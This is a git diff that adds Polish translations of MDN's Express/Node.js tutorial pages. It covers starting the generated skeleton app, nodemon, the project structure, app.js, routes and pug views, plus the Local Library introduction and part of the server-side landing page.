+ <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* &amp; npm start</pre>
+ </li>
+ <li>W sytemach macOS lub Linux wpisz jak poniżej:
+ <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm start
+</pre>
+ </li>
+ </ul>
+ </li>
+ <li>Wpisz w przeglądarce adres <a href="http://localhost:3000/">http://localhost:3000/</a> aby dostać się do strony aplikacji.</li>
+</ol>
+
+<p>W przeglądarce powinieneś zobaczyć stronę podobą do tej poniżej:</p>
+
+<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p>
+
+<p>Gratulacje! Twoja aplikacja Express działa i jest dostępna na Twojej lokalnej maszynie pod portem 3000.</p>
+
+<div class="note">
+<p><strong>Uwaga: </strong>Możesz też uruchomić aplikację korzystająć z polecenia<strong> </strong><code>npm start</code>. Ustawiając zmienną DEBUG możesz włączyć wyświetlanie komunikatów logowania i debugowania. Przykładowo podczas odświeżenia powyższej strony aplikacji zobaczysz poniższe komunikaty w oknie konsoli:</p>
+
+<pre class="brush: bash notranslate">&gt;SET DEBUG=express-locallibrary-tutorial:* &amp; npm start
+
+&gt; express-locallibrary-tutorial@0.0.0 start D:\github\mdn\test\exprgen\express-locallibrary-tutorial
+&gt; node ./bin/www
+
+  express-locallibrary-tutorial:server Listening on port 3000 +0ms
+GET / 304 490.296 ms - -
+GET /stylesheets/style.css 200 4.886 ms - 111
+</pre>
+</div>
+
+<h2 id="Włączenie_restartowania_serwera_po_modyfikacji_plików">Włączenie restartowania serwera po modyfikacji plików</h2>
+
+<p>Jakakolwiek zmiana w naszym projekcie nie będzie widoczna dopóki nie wykonasz ponownego uruchomienia serwera. Z czasem może to być bardzo irytujące, gdy każda zmiana będzie wymagała ciągłego zatrzymywania i ponownego uruchamiania serwera. Dlatego warto poświecić nieco czasu na zautomatyzowanie tej czynności.</p>
+
+<p>Odpowiednim narzędziem do tego celu jest <a href="https://github.com/remy/nodemon">nodemon</a>. Zwykle jest instalowany globalnie, ale tutaj zainstalujemy go lokalnie jako zależność developerską, aby każdy developer pracujący z aplikacją miał go po zainstalowaniu projektu. Wywołaj poniższe polecenia w głównym katalogu naszego projektu::</p>
+
+<pre class="brush: bash notranslate">npm install --save-dev nodemon</pre>
+
+<p>Jeśli jednak chcesz zainstalować <a href="https://github.com/remy/nodemon">nodemon</a> globalnie, a nie tylko w swoim projekcie dodając wpis do <strong>package.json</strong>, to wpisz taką wersję polecenia:  </p>
+
+<pre class="brush: bash notranslate">npm install -g nodemon</pre>
+
+<p>Gdy otworzysz plik <strong>package.json </strong>swojego projektu to powinieneś zobaczyć nową sekcję z poniższą zależnością:</p>
+
+<pre class="brush: json notranslate"> "devDependencies": {
+    "nodemon": "^2.0.4"
+}
+</pre>
+
+<p>Ponieważ nasze narzedzie nie została zainstalowane globalnie, to nie możemy go uruchomić wprost z linii poleceń (dopóki nie dodamy go do ścieżki). Możemy je jednak wywołać wprost ze skryptu NPM, bo NPM wie wszystko o zainstalowanych pakietach. Znajdź sekcję <code>scripts</code> w swoim pliku <strong>package.json</strong>. Dodaj do niej dwa wiersze ze skryptami "devstart" i "serverstart", Pamiętaj o dodaniu na końcu każdego wiersza (oprócz ostatniego) znaku przecinka:    </p>
+
+<pre class="brush: json notranslate"> "scripts": {
+ "start": "node ./bin/www"<strong>,</strong>
+<strong> "devstart": "nodemon ./bin/www",
+  "serverstart": "</strong>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart"</strong>
+ },
+</pre>
+
+<p>Możemy teraz uruchomić serwer w prawie taki sam sposób jak poprzednio, ale przy pomocy polecenia <code>devstart</code>: </p>
+
+<ul>
+ <li>W systemie Windows wpisz polecenie w takiej postaci:
+ <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* &amp; npm <strong>run devstart</strong></pre>
+ </li>
+ <li>W systemach macOS lub Linux użyj tej postaci:
+ <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong>
+</pre>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Od tej chwili każda zmiana jakiegokolwiek pliku projektu powoduje restart serwera (możesz też zrestartować serwer wpisując w dowolnym momencie polecenie rs w terminalu). Nadal jednak będziesz musiał odświeżać stronę w przeglądarce.</p>
+
+<p>Od teraz musimy uruchamiać skrypty poleceniem "<code>npm run <em>&lt;scriptname&gt;</em></code>" zamiast zwykłego <code>npm start</code>, ponieważ „start” jest w rzeczywistości poleceniem NPM, które jest odwzorowane na skrypt o takiej nazwie. Mogliśmy zamienić polecenie w skrypcie <em>start</em>, ale podczas programowania chcemy używać tylko <em>nodemon</em>, więc sensowne jest utworzenie nowego polecenia skryptu.</p>
+
+<p>Dodanie polecenia <code>serverstart</code> w sekji skryptów pliku <strong>package.json</strong> jest dobrym rozwiązaniem, które pozwala uniknąć wpisywania długim poleceń uruchamiających serwer. Zwróć uwagę, że niektóre konkretne polecenia dodane do skryptu działają tylko w systemie macOS lub Linux.</p>
+</div>
+
+<h2 id="Wygenerowany_projekt">Wygenerowany projekt</h2>
+
+<p>Przyjrzyjmy się bliżej projektowi, który stworzyliśmy.</p>
+
+<h3 id="Struktura_katalogów">Struktura katalogów</h3>
+
+<p>Utworzony projekt wraz z zainstalowanymi zależnościami ma przedstawioną poniżej strukturę (pliki są elementami z prefiksem "/").</p>
+
+<p>Plik <strong>package.json </strong>definiuje spis wymaganych przez naszą aplikację pakietów oraz zawiera wiele innych informacji o aplikacji. W pliku tym są też zdefiniowane skrypty, w tym też skrypt startowy, który wywołuje punkt wejścia aplikacji, czyli plik JavaScript <strong>/bin/www</strong>. Skrypt ten po ustawieniu mechanizmu obslugi błędów uruchamia plik <strong>app.js</strong>, który wykonuje resztę pracy.</p>
+
+<p>W katalogu <strong>/routes</strong> znajdują się moduły obsługujące ścieżki aplikacji. Szablony generowanych stron przechowywane są w katalogu <strong>/views</strong>.    </p>
+
+<pre class="notranslate">/express-locallibrary-tutorial
+ <strong>app.js</strong>
+ /bin
+  <strong>www</strong>
+ <strong>package.json</strong>
+ <strong>package-lock.json</strong>
+ /node_modules
+  [about 6700 subdirectories and files]
+ /public
+  /images
+  /javascripts
+  /stylesheets
+  <strong>style.css</strong>
+ /routes
+ <strong>index.js</strong>
+  <strong>users.js</strong>
+ /views
+  <strong>error.pug</strong>
+ <strong>index.pug</strong>
+  <strong>layout.pug</strong>
+
+</pre>
+
+<p>W kolejnych sekcjach znajdziesz więcej szczegółów dotyczących plików projektu. </p>
+
+<h3 id="package.json">package.json</h3>
+
+<p>Plik <strong>package.json</strong>:</p>
+
+<pre class="brush: json notranslate">{
+  "name": "express-locallibrary-tutorial",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.4",
+    "debug": "~2.6.9",
+    "express": "~4.16.1",
+    "http-errors": "~1.6.3",
+    "morgan": "~1.9.1",
+    "pug": "2.0.0-beta11"
+  },
+  "devDependencies": {
+    "nodemon": "^2.0.4"
+  }
+}
+</pre>
+
+<p>Sekcja zależności zawiera paczkę <em>express </em>i wybrany przez nas silnik szablonów (<em>pug</em>). Oprócz tego znajdują się w niej jeszcze inne paczki przydatne w aplikacjach webowych:</p>
+
+<ul>
+ <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: służy do parsowania ciasteczek i zapewnia przeniesienie ich do <code>req.cookies</code> (zasadniczo daje możliwość wygodnego dostępu do informacji w nagłówkach cookie)</li>
+ <li><a href="https://www.npmjs.com/package/debug">debug</a>: niewielka paczka służąca do debugowania. której mechanizm jest wzorowany na technice wykorzystywanej w rdzeniu środowiska Node.</li>
+ <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: Narzędzie do rejestrowania zdarzeń (logger) w warstwie obsługi żądań HTTP.</li>
+ <li><a href="https://www.npmjs.com/package/http-errors">http-errors</a>: Tworzenie błędów HTTP w razie potrzeby (zgodnych z obsługa błędów w aplikacjach <em>express</em>).</li>
+</ul>
+
+<p>W sekcji scripts zdefiniowany jest skrypt "start", który jest tym samym skryptem wywoływanym poleceniem <code>npm start</code>, gdy chcemy uruchomić serwer. Z definicji tego skryptu wynika, że uruchomia on plik <strong>./bin/www </strong>z kodem JavaScript.  </p>
+
+<pre class="brush: json notranslate"> "scripts": {
+ "start": "node ./bin/www",
+ "devstart": "nodemon ./bin/www",
+  "serverstart": "DEBUG=express-locallibrary-tutorial:* npm run devstart"
+ },
+</pre>
+
+<p>Pozostałe skrypty <em>devstart</em> i <em>serverstart</em>  możemy wykorzystywać do uruchomienia tego samego pliku <strong>./bin/www</strong>  ale z użyciem <em>nodemon</em> niż <em>node</em> (jak zostało to wyjaśnione w sekcji <a href="#Enable_server_restart_on_file_changes">Włączenie restartowania serwera po modyfikacji plików</a>).</p>
+
+<h3 id="Plik_www">Plik www</h3>
+
+<p>Plik <strong>/bin/www</strong> jest punktem wejścia aplikacji! Pierwszą rzeczą jaką wykonuje ten plik to funkcja <code>require()</code>, która kieruje do prawdziwego punktu zaczynającego wykonywanie aplikacji (<strong>app.js</strong>, w głównym katalogu projektu), w którym następuje przygotowanie i zwrócenie obiektu aplikacji  <code><a href="http://expressjs.com/en/api.html">express()</a></code>.</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+/**
+ * Module dependencies.
+ */
+
+<strong>var app = require('../app');</strong>
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> <code>require()</code> jest funkcją globalną środowiska Node, która importuje moduł do bieżącego pliku. W powyższym kodzie moduł <strong>app.js</strong> został podany z użyciem ścieżki względnej i z pominięciem opcjonalnego rozszerzenia <strong>.js</strong>.</p>
+</div>
+
+<p>Pozostała część kodu tego pliku konfiguruje serwer HTTP z aplikacją pracującą pod wskazanym portem (numer portu jest zdefiniowany w zmiennej środowiskowej lub przyjmowana jest wartość 3000 jeśli brak takiej zmiennej). W dalszej części następuje uruchomienie nasłuchiwania i raportowania błędów serwera i połączeń. Na razie nie musisz znać wszystkich szczegółów tego kodu (wszystko w tym pliku jest standardowym kodem), choć jeśli jesteś zainteresowany możesz go przejrzeć.</p>
+
+<h3 id="app.js">app.js</h3>
+
+<p>Ten plik jest odpowiedzialny za utworzenie obiektu aplikacji (pod konwencjonalną nazwą <code>app</code>), jej skonfigurowanie wraz z warstwami pośrednimi i wyeksportowanie jej z modułu. Kod poniżej zawiera tę cześć pliku app.js, która zawiera tworzenie i eksportowanie obiektu aplikacji:</p>
+
+<pre class="brush: js notranslate"><code>var express = require('express');
+var app = express();
+...
+</code>module.exports = app;
+</pre>
+
+<p>Powrót do punktu wejściowego, czyli do pliku <strong>www</strong>,  następuje w linii  zawierającej  <code>module.exports</code>, która eksportuje obiekt app aplikacji i zwraca go do wywołującego kodu, który ten moduł zaimportował.</p>
+
+<p>Czas teraz na szczegóły pliku app.js. Na początku importowne są dość użyteczne moduły przy pomocy funkcji <code>require()</code>, w tym <em>http-errors</em>, <em>express</em>, <em>morgan</em> i <em>cookie-parser, </em>które wcześniej zostały pobrane przez menadżera NPM, oraz pakiet <em>path</em>, który jest częścią środowiska Node i odpowiada za parsowanie ścieżek do plików i katalogów.  </p>
+
+<pre class="brush: js notranslate">var createError = require('http-errors');
+var express = require('express');
+var path = require('path');
+var cookieParser = require('cookie-parser');
+var logger = require('morgan');
+</pre>
+
+<p>Kolejne funkcje <code>require()</code>, importują moduły z katalogu <em>routes</em>. Zawierają one kody źródłowe obsługujące zbióry ścieżek naszej aplikacji (URL). Gdy będziemy rozbudowywać aplikację o kolejne ścieżki, na przykład zwracają listę wszystkich książek naszej biblioteki, to będziemy musieli dodać nowy plik z definicją operacji wykonywanych pod tą ścieżką.    </p>
+
+<pre class="brush: js notranslate">var indexRouter = require('./routes/index');
+var usersRouter = require('./routes/users');
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> W tym miejscu tylko zaimportowaliśmy moduły, na razie nie korzystamy z tych ścieżek (nastapi to później). </p>
+</div>
+
+<p>Następnie tworzymy obiekt <em>app </em>za pomocą zaimportowanego modułu <em>express</em>, po czym konfigurujemy go do pracy z wybranym silnikiem szablonów. W pierwszym kroku określa się lokalizację szablonów poprzez przypisanie katalogu do zmiennej 'views'. W drugim należy podać nazwę wykorzystywanej biblioteki szablonów (w naszym przypadku jest to "pug").   </p>
+
+<pre class="brush: js notranslate">var app = express();
+
+// view engine setup
+app.set('views', path.join(__dirname, 'views'));
+app.set('view engine', 'pug');
+</pre>
+
+<p>Następna sekcja zawiera szereg wywołań metody <em>use </em>na obiekcie aplikacji, których zadaniem jest dodanie bibliotek wykorzystywanych w warstwie pośredniej całego łańcucha przetwarzania żądań. Oprócz dołączonych wcześniej modułów zewnętrznych, wykorzystujemy także moduł <code>express.static</code>, którego zadaniem jest obsługa plików statycznych z katalogu <strong>/public</strong> naszego projektu. </p>
+
+<pre class="brush: js notranslate">app.use(logger('dev'));
+app.use(express.json());
+app.use(express.urlencoded({ extended: false }));
+app.use(cookieParser());
+<strong>app.use(express.static(path.join(__dirname, 'public')));</strong>
+</pre>
+
+<p>Po skonfigurowaniu warstwy pośredniej możemy dodać (poprzednio już zaimportowane) nasze skrypty obsługujące żądania ścieżek. Zaimportowane pliki definiują poszczególne ścieżki dla różnych części naszej aplikacji:</p>
+
+<pre class="brush: js notranslate">app.use('/', indexRouter);
+app.use('/users', usersRouter);
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Podane powyżej ścieżki  (<code>'/'</code> i '<code>/users'</code>) są traktowane jako przedrostki tras zdefiniowanych w importowanych plikach. Na przykład, jeśli zaimportowany moduł <strong>users</strong> definiuje ścieżkę względną <code>/profile</code>, to dostęp do tej ścieżki będzie możliwy pod <code>/users/profile</code>. Ścieżki zostaną dokładniej omówione w następnych artykułach.</p>
+</div>
+
+<p>Końcowym etapem konfigurowania warstwy pośredniej jest dodanie obsługi błędów i odpowiedzi HTTP 404.</p>
+
+<pre class="brush: js notranslate">// catch 404 and forward to error handler
+app.use(function(req, res, next) {
+  next(createError(404));
+});
+
+// error handler
+app.use(function(err, req, res, next) {
+  // set locals, only providing error in development
+  res.locals.message = err.message;
+  res.locals.error = req.app.get('env') === 'development' ? err : {};
+
+  // render the error page
+  res.status(err.status || 500);
+  res.render('error');
+});
+</pre>
+
+<p>Obiekt aplikacji Express jest teraz w pełni skonfigurowany. Ostatnim działaniem w skrypcie jest wyeksportowanie obiektu z bieżącego modułu (w ten sposób staje się on dostępny w pliku <strong>/bin/www </strong>po zaimportowaniu).</p>
+
+<pre class="brush: js notranslate">module.exports = app;</pre>
+
+<h3 id="Ścieżki">Ścieżki</h3>
+
+<p>Plik definiujący obsługę żądań kierowanych do ścieżki <strong>/routes/users.js</strong> znajduje się poniżej (struktura wszystkich plików ścieżek jest bardzo podobna, dlatego nie ma potrzeby oglądania pliku <strong>index</strong>). Na początku znajduje się znana już funkcja importująca moduł <em>express</em>, z którego pobierany jest obiekt <code>express.Router</code> . Po zdefiniowaniu obsługi żądania, obiekt rutera jest exportowany z modułu (dzięki czemu może być zaimportowany w <strong>app.js</strong>).    </p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var router = express.Router();
+
+/* GET users listing. */
+<strong>router.get('/', function(req, res, next) {
+  res.send('respond with a resource');</strong>
+});
+
+module.exports = router;
+</pre>
+
+<p>Ruter definiuje metodę, która będzie wywoływana w chwily pojawienia się żądania <code>GET</code> protokołu HTTP skierowanego pod adres zgodny z wzorcem. Pełna ścieżka do tej metody zostanie zdefiniowana gdy moduł ('<code>/users</code>') zostanie zaimportowany i zostanie dodany przedrostek ('<code>/</code>') w module importujacym. Krótko mówiąc, ściezka zostanie użyta, gdy skierowane zostanie  żądanie z URL zawierającym <code>/users/</code>.  </p>
+
+<div class="note">
+<p><strong>Wskazówka: </strong>Wypróbuj działanie rutera uruchamiając serwer i odwiedzając w przeglądarce URL <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. Powinieneś zobaczyć komunikat: 'respond with a resoure'. </p>
+</div>
+
+<p>Interesującym elementem w kodzie metody obsługującej żądanie GET jest trzeci argument <code>next</code>, co świadczy o tym, że jest to metoda warstwy poredniej a nie prosta funkcja zwrotna. Chociaż na razie w metodzie nie korzystamy z tego argumentu to być może będzie potrzebny w przyszłości, gdy zechsze dodać wiecej metod obsługujących ścieżkę  <code>'/'.</code></p>
+
+<h3 id="Widoki_szablony">Widoki (szablony)</h3>
+
+<p>Widoki (szablony) są przechowywane w katalogu <code>/views</code> (tak jak zdefiniowano to w pliku <strong>app.js</strong>) i posiadają rozszerzenie .<strong>pug</strong>. Metoda <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> jest wykorzystywana do renderowania strony HTML na podstawie szablonu i dostarczonych do niego wartości zmiennych, po czym gotowy dokument jest wysyłany do jako odpowiedź żądania. W znajdującym się kodzie poniżej pochodzącym z pliku możesz obaczyć jak funkcja obsługi żądania ścieżki renderuje szablon "index" na podstawie przekazanej zmiennej "title".  </p>
+
+<pre class="brush: js notranslate">/* GET home page. */
+router.get('/', function(req, res, next) {
+  res.render('index', { title: 'Express' });
+});
+</pre>
+
+<p>Szablon "index" (<strong>index.pug</strong>) jest przedsatwiony poniżej. Składnię szablonów omówimy poźniej. To co na razie powinieneś wiedzieć to to, że zmienna <code>title</code> (zawierająca napisz '<code>Expres</code>s') została wstawiona w określonym miejscu szablonu.</p>
+
+<pre class="notranslate">extends layout
+
+block content
+ h1= title
+ p Welcome to #{title}
+</pre>
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>Create a new route in <strong>/routes/users.js</strong> that will display the text "<em>You're so cool"</em> at URL <code>/users/cool/</code>. Test it by running the server and visiting <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a> in your browser</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>You have now created a skeleton website project for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Local Library</a> and verified that it runs using <em>node</em>. Most importantly, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.</p>
+
+<p>Next, we'll start modifying the skeleton so that it works as a library website.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/pl/learn/server-side/express_nodejs/szkolenie_aplikacja_biblioteka/index.html b/files/pl/learn/server-side/express_nodejs/szkolenie_aplikacja_biblioteka/index.html
new file mode 100644
index 0000000000..a23787a253
--- /dev/null
+++ b/files/pl/learn/server-side/express_nodejs/szkolenie_aplikacja_biblioteka/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Szkolenie z Express: Projekt aplikacji webowej "Biblioteka"'
+slug: Learn/Server-side/Express_Nodejs/Szkolenie_aplikacja_biblioteka
+tags:
+ - Początkujący
+translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">W pierwszym artykule naszego cyklu praktycznych lekcji omówimy będziemy się uczyć i jak będzie wyglądała tworzona w trakcie nauki aplikacja webowa, którą nazwiemy Biblioteka.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Przeczytanie artykułu <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Wprowadzenie do Express</a>. Aby móc aktywnie uczestwiczyć w szkoleniu potrzebne Ci będzie także <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Przygotowanie środowiska do tworzenia applikacji w Node</a>. </td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>
+ <p>Wprowadzenie do przykładowej aplikacji, która będzie tworzona w całym cyklu szkolenia i przedstawienie wszystkich tematów, które będą omawiane. </p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wstęp">Wstęp</h2>
+
+<p>Witaj w cyklu szkoleń MDN pt. tworzenie aplikacji "Biblioteka" w frameworku Express(Node), w którym będziemy projektować aplikację webową do zarządzania biblioteką</p>
+
+<p>A oto co będziemy robić w tym cyklu:</p>
+
+<ul>
+ <li>Wykorzystywać <em>Express Application Generator</em> do stworzenia szkieletu naszej aplikacji webowej.</li>
+ <li>Uruchamiać i zatrzymywać serwer WWW.</li>
+ <li>Przechowywać dane aplikacji w bazie danych.</li>
+ <li>Tworzyć trasy do obsługi żądań skierowanych do aplikacji oraz wykorzystywać szablony (widoki) do generowania stron HTML z danymi aplikacji.</li>
+ <li>Pobierać dane od użytkownika przy pomocy formularzy.</li>
+ <li>Wdrażać aplikację w środowisku produkcyjnym.</li>
+</ul>
+
+<p>Część tematów nie powinna być Ci obca, bo zostały już po krótce omówione lub zasygnalizowane. Po zakończeniu szkolenia powinieneś umieć samodzielnie wykonać prostą aplikację Express.</p>
+
+<h2 id="Aplikacja_webowa_Biblioteka">Aplikacja webowa Biblioteka</h2>
+
+<p><em>Biblioteka </em>to nazwa naszej aplikacji, którą będziemy tworzyć i rozwijać w trakcie tego kursu. Domyślasz się, że celem aplikacji jest udostępnienie katalogu online do zarządzania niewielką biblioteką. Użytkownicy będą mogli przejrzeć dostępne książki i zarządzać swoim kontem.</p>
+
+<p>Temat przykładowej aplikacji został starannie dobrany, ponieważ możemy w niej skalować liczbę szczegółów według potrzeb oraz dobrze pokazać możliwości frameworku Express. Najważniejszą jednak sprawą jest to, że aplikacja będzie naszym przewodnikiem prowadzącym przez wszystkie funkcje, które są potrzebne w prawie każdej aplikacji webowej:</p>
+
+<ul>
+ <li>W kilku pierwszych artykułach zdefiniujemy aplikację w dość prostej wersji (tylko do odczytu), w której użytkownicy będą mogli tylko wyszukiwać dostępne książki. Pozwoli to nam zapoznać się z typowymi operacjami występującymi w prawie każdej aplikacji: odczytywanie i wyświetlanie danych z bazy.</li>
+ <li>W dalszej części kursy aplikacja będzie rozbudowywana o elementy demonstrujące bardzie zaawansowane możliwości. Przykładem może być rozszerzenie aplikacji o funkcję dodawania nowych książek do katalogu, w której pokażemy jak wykorzystywać formularze i wspierać autentykację użytkowników.</li>
+</ul>
+
+<p>Chociaż jest to przykład aplikacji o dużych możliwościach rozbudowy, to jej celem jest pokazanie minimum informacji potrzebnych do rozpoczęcia pracy z  Express. Dlatego będziemy przechowywać w niej informacje o książkach, kopiach książek, autorach itd. Nie będziemy jednak przechowywać informacji o innych elementach związanych z pracą biblioteki, ani nie zapewnimy infrastruktury niezbędnej do obsługi wielu witryn bibliotecznych lub innych funkcji „dużej biblioteki”. </p>
+
+<h2 id="Utknąłem_gdzie_znajdę_kod_źródłowy">Utknąłem, gdzie znajdę kod źródłowy?</h2>
+
+<p>W trakcie szkolenia będziemy prezentować kolejne fragmenty kodu źródłowego przykładowej aplikacji, żebyś mógł je skopiować i wkleić do swojego projektu. Będą też fragmenty, dzięki którym, mamy nadzieję, będziesz mógł samodzielnie ją rozbudować (z niewielką pomocą).</p>
+
+<p>Jednak zamiast stosowania metody "Copy Paste", postaraj się samodzielnie przepisać kod. To zaowocuje w przyszłości lepszą znajomością kodu, gdy będziesz pisał coś podobnego.</p>
+
+<p>Gdy jednak utkniesz, bo nie będziesz umiał znaleźć błędu popełnionego przy przepisywaniu, kompletny kod aplikacji możesz znaleźć w repozytorium <a href="https://github.com/mdn/express-locallibrary-tutorial">Github</a>.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Wersje środowiska Node, Express oraz pozostałych modułów, dla których przetestowano opisywaną tu aplikację znajdują się w pliku <a href="https://github.com/mdn/express-locallibrary-tutorial/blob/master/package.json">package.json</a> projektu.</p>
+</div>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Gdy już wiesz jaką aplikację będziemy tworzyć i czego będziesz się uczyć możesz przejść do następnego etapu i utworzyć <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">szkielet projektu</a> naszej przykładowej aplikacji.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Wprowadzenie do środowiska Express/Node</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Przygotowanie środowiska do tworzenia aplikacji w Node(Express)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Szkolenie z Express: Projekt aplikacji webowej "Biblioteka"</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/pl/learn/server-side/index.html b/files/pl/learn/server-side/index.html
new file mode 100644
index 0000000000..7330545ac9
--- /dev/null
+++ b/files/pl/learn/server-side/index.html
@@ -0,0 +1,59 @@
+---
+title: Server-side website programming
+slug: Learn/Server-side
+tags:
+ - Beginner
+ - CodingScripting
+ - Intro
+ - Landing
+ - Learn
+ - NeedsTranslation
+ - Server
+ - Server-side programming
+ - Topic
+ - TopicStub
+translation_of: Learn/Server-side
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">The <strong><em>Dynamic Websites </em></strong>–<em><strong> Server-side programming</strong></em> topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to HTTP requests. The modules provide a general introduction to server-side programming, along with specific beginner-level guides on how to use the Django (Python) and Express (Node.js/JavaScript) web frameworks to create basic applications.</p>
+
+<p>Most major websites use some kind of server-side technology to dynamically display different data as required. For example, imagine how many products are available on Amazon, and imagine how many posts have been written on Facebook? Displaying all of these using completely different static pages would be completely inefficient, so instead such sites display static templates (built using <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>), and then dynamically update the data displayed inside those templates when needed, e.g. when you want to view a different product on Amazon.</p>
+
+<p>In the modern world of web development, learning about server-side development is highly recommended.</p>
+
+<h2 id="Learning_pathway">Learning pathway</h2>
+
+<p>Getting started with server-side programming is usually easier than with client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.</p>
+
+<p>Basic knowledge of programming concepts (or of a particular programming language) is useful, but not essential. Similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end".</p>
+
+<p>You will need to understand "how the web works". We recommend that you first read the following topics:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></li>
+</ul>
+
+<p>With that basic understanding, you'll be ready to work your way through the modules in this section. </p>
+
+<h2 id="Modules">Modules</h2>
+
